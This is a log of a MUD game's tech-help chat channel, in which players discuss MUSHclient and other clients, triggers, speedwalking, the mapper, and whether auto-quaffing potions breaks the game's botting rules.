T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: I would untick that, and turn automap back on
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: That has it.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: My gratitude to you both.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doc Holliday Tech: need some assistance
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doc Holliday Tech: mis
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: Cody smiles happily.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tigernuts Tech: would i be right in assuming instinct in protection evil will affect inertial barrier?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: yes
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: I assumed it does, not confirmed though. Only put 5 into it.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: Inertial barrier         : sets protevil effect 
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Kantrok Tech: is there a way to make the mud window bigger?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: what client?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Kantrok Tech: not sure what you mean, i'm using 'The Mud Connector'
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: Head here - http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: There you will get the full featured aardwolf application, totally free
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Kantrok Tech: thank you
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Kantrok Tech: =)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: does anyone use mag for mudlet?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ixle Tech: Based off the 'clients' command, there's only 3 other people using mudlet.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: yikes...I'd use mushclient but I'm on a mac
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Slithy Toves Tech: finger fiendish and get his wine package in addition to the client
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: eek
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I recommend only using my wine package as a last resort if you can't figure out one of the better options for Wine on mac
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: see https://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the version of wine I have packaged up on the download site is quite old because it was built by someone else
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: wine is a mud client?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Wine is software that lets you use Win32 apps on Linux/Mac OS
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: MUSHclient is a Win32 app
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: ah, gotcha!
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Slithy Toves Tech: could use winebottler. wine isn't too hard to setup though.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but it works perfectly fine on my Macbook Pro and on my Thinkpad running Linux
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: via Wine
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: read the page I linked. it has information
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: thanks!
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: skip down to the part where it says "This Mac Wine download is Buggy!"
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: should I use playonmac?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I've just updated my page as well. I fixed the broken link to Wineskin and rearranged the sections
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: Noticed that, thanks!
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: which one would you recommend more, wineskin or playonmac?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: I see wineskin is updated for mountain lion...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: whichever works for you
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't really offer a whole lot of advice on either
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't have mountain lion
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Dresory Tech: I was having some problems with wine on mountain lion, I switched over to parallels 8 but it costs $$
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Agis Tech: I'll give em both a try
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah a virtual machine will always work best
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but not legally free
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Vakieh Tech: Note to self. Turn triggers off before checking help invmon :-P
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: curious but has any one used/is using that dragon naturally speaking?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Thunderax Tech: anyone know if its possible to "pause output" (stop scrolling) from within a script in mush?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Pause (true)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Thunderax Tech: ahh thanks
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: the built-in helps are quite comprehensive and searchable ;-)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Thunderax Tech: sorry, tried a brief google and only found stuff on building pauses into scripts hehe
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: I went to help -> index, find, typed in pause, chose the first word, it gave 6 helpfile topics...scripting function list being one of them
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Thunderax Tech: nods, never actually used the inbuilt help, will do that now :)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Thunderax Tech: thanks again
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: do it in MUSHclient before google, and when using google, do that within www.mushclient.com/search.htm
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: or manually put site:www.gammon.com.au into your search term
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: is it possible to make Macros with MUSHClient ? Like if the 'You feel holy and pure.' apear right after will appear "Magic DONE"
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: I think what you want is a trigger, Azyrael
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: so can I make a trigger like that ? in MUSH ?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: yeah.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: if you open game menu and trigger...enter text to trigger on, then in send box enter in what you want to send to you....if that makes sense.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: if it's just text stuff, should be pretty easy.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: i just copy and paste. :)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: ok I will try that ^^
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: let me know it worked for you. just did one myself. first one. :)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Grissom Tech: i am still having problems making a trigger to to rearm after a disarm can someone help
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: use basts plugin. worked for me.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Shaboom Tech: works slick too, unless maybe not if disarm throws it to the floor, but since i got aardweapon it just re-equips it right away.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Grissom Tech: i just want to say bast is awesome to write so many plugins and stuff and not to be tempted by botting takes a lot willpower and ok thanks shaboom
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: why collor in the trugger dosent work ?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Piffaron Tech: spelling sensitive?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Chaz Bono Cheezburger snickers softly.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Now, by 'collor in the trugger', are you trying to trigger on a specifically colored string, or the word 'collor'?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: like I want to be cyan the text that I wrote!
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: To talk in cyan all you have to do is send @C to get this color
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: I cant use trigger because of the time always changing 'You are still recovering your Gaia abilities. (19:48).' .... is there a way arround it ?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: ?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Before I waste my time typing this long question out, anyone here familiar with gSOAP?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Azyrael Tech: about trigger, I want to change color to 'You blend perfectly with your surroundings and avoid A verume python's attack.' .... but each mob changes the name. what can I do ?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}BobTheGreat Tech: I copypasted code from a lua sqlite example (http://pastebin.com/qi9pif3y) but when I try to run it in mush, I get http://pastebin.com/yEwGfmPV.  I tried following the error and changing the first arg of bind to a num, but then it just got mad and asked for a table. Any help?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: anyone has experience with speedwalking?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: help runto
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: i mean the speedwalking command in lua
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: In mush, Lua has no such thing by default.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: ok you're right. i meant the mushclient command
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: have you used it?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Nope. I can look it up real quick though
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: that's ok. thanks anyway
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: you mean the EvaluateSpeedwalk?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: yes
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: or anything that involves queue()
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: If it's a queue, i'd assume you'd just do .pop(), yes?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: http://www.lua.org/pil/11.4.html that's on using queues in Lua.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: not exactly. I use Queue ("eat", "drink", "etc")
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Well, here's its API documentation: http://www.gammon.com.au/scripts/function.php?name=Queue
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: ok. thanks
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: and here: http://www.gammon.com.au/scripts/function.php?name=EvaluateSpeedwalk for speekwalk function.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: awesome
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Another helpful tip, is to go to Help -> Functions List in your client. If you're on Vista onwards, you'll have to install the help plugin, but worth it, IMO
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: yeah aard has "run"... don't need client speedwalks...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: that's handy
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Yes and no, Santher.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: well not that function anyways
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: With EvaluateSpeedwalk I can send EvaluateSpeedwalk(4nUEOEECW) to run 4n north, unlock east, open east, east, close west. Can't do that with run.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: yes you can
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: You can, but you'd have to separate either physically or with semi colons.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: i do it all the time :P
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I can send a single return string to EvaluateSpeedwalk() and let it do all the logic and separation for me.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: nods but not usinf run is sloppy and spammy
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: That's fine and dandy, but if you're returning something, from say, the mapper, then you'd have to convert it yourself, and send it. Whereas I could just do EvaluateSpeedwalk(returnVariable) and be done with it.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: I was going to ask what do you do if you lagged and missed some of the commands in your queue?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Without writing a request/response scrtipt, nothing.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: There's no way for Mush to know which commands Aard recieved, without relying on triggers from aard itself (GMCP exluded, obviously)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: I see. Let's say your queue is "eee". How would you write your response script?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: In that case, what i'd personally do is, in pseudocode, if (my_room_id == previousroom[exits][direction]) then foobar else print("something didn't happen...") end
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: looks good. now suppose your queue was "e OE e", how would you make sure you open the door before going east again?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Honestly there's no need though. If your string doesn't include open or any of the special commands, juust use the mudside run command
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: yeah...mine does involve open a lot
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: trigger on You open the *, and continue it from there.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: this a room tracking script?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ranrr Tech: getting the permanent passdoor makes speedwalking much simpler :D
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Revia D
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: can't passdoor all doors :P
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: crap
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Revia Tech: well thanks burger.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: np
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: or you could just you know, setup the mapper...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: The mapper isn't foolproof either, some of the features Revia was suggested could be used to extend the mapper and make it a little less stupid with doors and whatnot.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: like what?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Aizma Tech: Doesn't the mapper prefer custom exits over n/e/w/s/u/d?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Aizma Tech: (i.e., couldn't you just make a custom exit that does "open north;run n"?)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: right
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Yes, but the mapper also doesn't know when you don't have the key and the door didn't really open
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: You can, yes.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Chaz Bono Cheezburger.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Dareau Tech: I wish there was a way yould make the mapper just use regular exits rather than using portals if you're already in the area of the room you want to go to.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: too much automatization is not good
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Revia's ideas could be used to extend the mapper to actually stop the speedwalk when something goes haywire
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: adding kill to obtain keys is a quick way to get nuked
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Dareau Tech: I wish there was a way you could make the mapper just use regular exits rather than using portals if you're already in the area of the room you want to go to, even
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mendaloth Tech: Dareau, you can use mapper walkto or something like htat - wont use portals.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: and cexit can pretty much do anything...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: including aq's
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ixle Tech: doesnt the mapper just find the shortest route, portals or not? tt's does
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: yes
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mendaloth Tech: It does normally - but Daraeu was asking for a way not using portals.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: If the portal is faster, use it, IMO
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ixle Tech: in that case you should be thankful it uses your portals
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: mapper walk i think
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: 4 rooms + portal is still faster than 10 rooms without
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: it would be nice to have different entry room depending on level
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: that's what level locks are for
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: I mean, some portals are higher level than area itself (for example entropy), so with lower level starting room should be the one where 'runto area' leads, and when higher level the starting room should be the one where portal leads
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: though this is rather S&D problem not mapper itself
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: so set the level locks how you want then
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: sheesh :P
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: but I need low level lock not high level lock
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: oh right
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: yeah i've run into that before
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: bug fiendish i guess
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: I mean, before 100 lev I want to use room x, after room y, though cannot block room x because sometimes portal destination room is one way only
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ontuct Tech: I haven't come across that need yet.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: yeah i'm not sure how i got around that either...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: but it's not an issue for me anymore either
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Trachx Tech: though the easiest solution to that problem is just to buy trivia portal to first room in area
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: i still think you're missing something with level locks
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: need to set the level lock on the portal, not a low lock on the run...
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: oh low locks, i needed those when single class for area level locks... but that problem goes away when you remort
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Add a custom exit with an alias to check your level to room one?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tjodalv Tech: Anyone who knows computers well and using windows live.please contact me.I am having problems with mushclient.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir raises an eyebrow.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Fiain Tech: heya. i use the android client, blowtorch. there is a default set of buttons with n, w, e, s... etc. sometimes when i hit the direction buttoms, it says there is no door in that direction. anyone know why?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Ayasinda Tech: buttons have multiple functions. I think you didn't press but more swept the button. Which migh "open"
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Fiain Tech: ah, so thats why. i didnt know that! thank you. :)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Fiain Tech: yeah, thats what i had done. thanks. :D
T3/r7/2013-01-04.txt.gz:{chan ch=tech}SuperJayT Tech: In mush client.  how can I change what my keypad buttons do? I found it very simple in cmud, but in mush.. i'm having some issues.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Santher Tech: game/configure/keypad?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}SuperJayT Tech: I actually /just/ found it.  Thanks.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "Dareau Tech: I wish there was a way yould make the mapper just use regular exits rather than "   <- There is.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: Anybody know any good ways to write a script related to health? Like to auto-quaff a potion?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Metzli Tech: oh like botting?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: read 'help botting'
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: nice I'll check it out, thanks
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Metzli Tech: no worries
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: there's a mud mode you can get all the raw data from the game and manipulate your character on it, like health
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: not mccp, thats' a compression protocol, but something else
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: autoquaffing isn't illegal, so long as you're not in combat mode.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: but just feed that stuff into your variables and you're set
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: Ahhh this is all interesting, already learning a lot already about the legalities of it all. Thanks a ton
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Autoquaffing in combat isn't illegal either, so long as you don't go afk.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: It's more grey than defined, though.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: gmcp it must be, like invdata will show you all the raw information
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: No it makes pretty decent sense though, I'll have to google some things ot see what kind of scripting I can do. I've never scripted before.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: autohealing is technically legal, but the help does say "Use a macro/button you have to type/click."
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: It's always been legal. The only issue that would make it illegal is if you were to walk away suddenly, and attacked, would you continually heal yourself away from the keyboard? So, it's truly up to you to use it. Just... if you get nuked for afking, that's on you.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: or as I like to think of it... don't do it, unless you love skating on thin ice.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: what if an house emergency arises, forcing attention to be diverted from the keyboard 
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: lasher will feel bad for you as he mashes the nuke button.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: That's exactly why it's grey area. If you get caught because of an emergency, that's your problem.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: yeah, that's why you shouldn't do it
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: anyway, unless you have some sort of muscular atrophy or degeneration, mashing a couple of buttons isn't exactly hard, as long as you're really there.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: this mud become unplayable wihout autoquaffing
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: That's okay, I just learned a ton about aliases that I didn't know just by researching a llittle
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: haha no that wasn't the issue
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: it all comes down to what your triggers do if Lasher or another imm decide to spoof game messages to you.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: No it doesn't.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: That is singlehandedly the most ridiculous statement I've seen from you, Zade. "This mud becomes unplayable without autoquaffing."
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: Yeah I'm a MUSH newbie, I dont even have the slightest idea how to go about botting, like I said, just learned about alias for the first time
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: You do not have to autoquaff at all to play. Maybe in your own little world, but your statement is just asinine.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: Yeah autoquaff isn't really necessary.... Especially when I just found out I can bind "quaff heal" to my apostrophe key... lol
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: simple for you to say with 30,000 plus hp
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Really? I have 806 hp.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Check your facts before you come up with more stupid statements.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: botting isn't (necessarily) scripting.  I'm sure we've had more than a few players smeared all over the digital sidewalk because they slammed aard with a really long list of game commands..
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: for me I made a lot of aliases as I went along, as well as "sound triggers" (which plays a sound and doesn't send stuff to the mud). Those two alone make things very easily playable and will not break anything.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: The highest hp I've ever had is just over 20k.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: Woah, sound triggers sound awesome
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: And I highly doubt Mahavira has over 30k hp.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Metzli Tech: Sound annoying really
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: pun not intended lol
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: you'll find a lot of things that sound cool yet don't turn out to be as helpful as you thought it'd be once you implement them.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: You tend to tune out the sounds after a while.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: yeah, unfortunately
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: or get in the mood to listen to music while playing.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: except for rare events. The sound I have for tell does usually alert me when I'm idle
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: or are playing at a time when sounds in general might be rather inconvenient.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: eh, I just mute all sound when in such a situation
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, but that interferes with the intent of your script system ;)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: if you are clicking buttons, you are not autoquaffing
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: if you are clicking buttons, you are manually-quaffing
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: My original intent was to find a way to drink a potion easier when my health got low without having to type "quaff heal" everytime
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Mahavira Tech: I dont need an autoquaff to do that now if I can just type ' and enter
T3/r7/2013-01-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you are clicking buttons, you are manually breathing
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: autoquaffing implies the use of triggers to initiate a quaff when hp drops unnoticed too low amidst the horrifc battlespam - especially at the start of some battles (Cataclysm - Centre of Battlefield)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: outside of battle the auto part doesn't matter, and since GMCP helpfully indicates if you are in battle or not, you can control for the nukey actions.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: Cataclysm Centre of Battlefield actually requires stacking a few quaffs after the direction movement, and hope they go through before a premature death results - autoquaffing don't work there
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: given that a combat round is 3s, I think that's more than enough time for you to notice your hp and quaff. If you would've died in a couple of rounds, quaffing usually won't help anyway.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: nonsense Sonshi, the battlespam is so great, there is a definite transmission/internet/screen lag - almost everymob there attacks 
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: try using aardmush?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: a newbie is not going to notice anything but the sudden scream as the newbie dies
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Hanslanda Tech: he'll notice the screaming baby and the howling dog afterwards
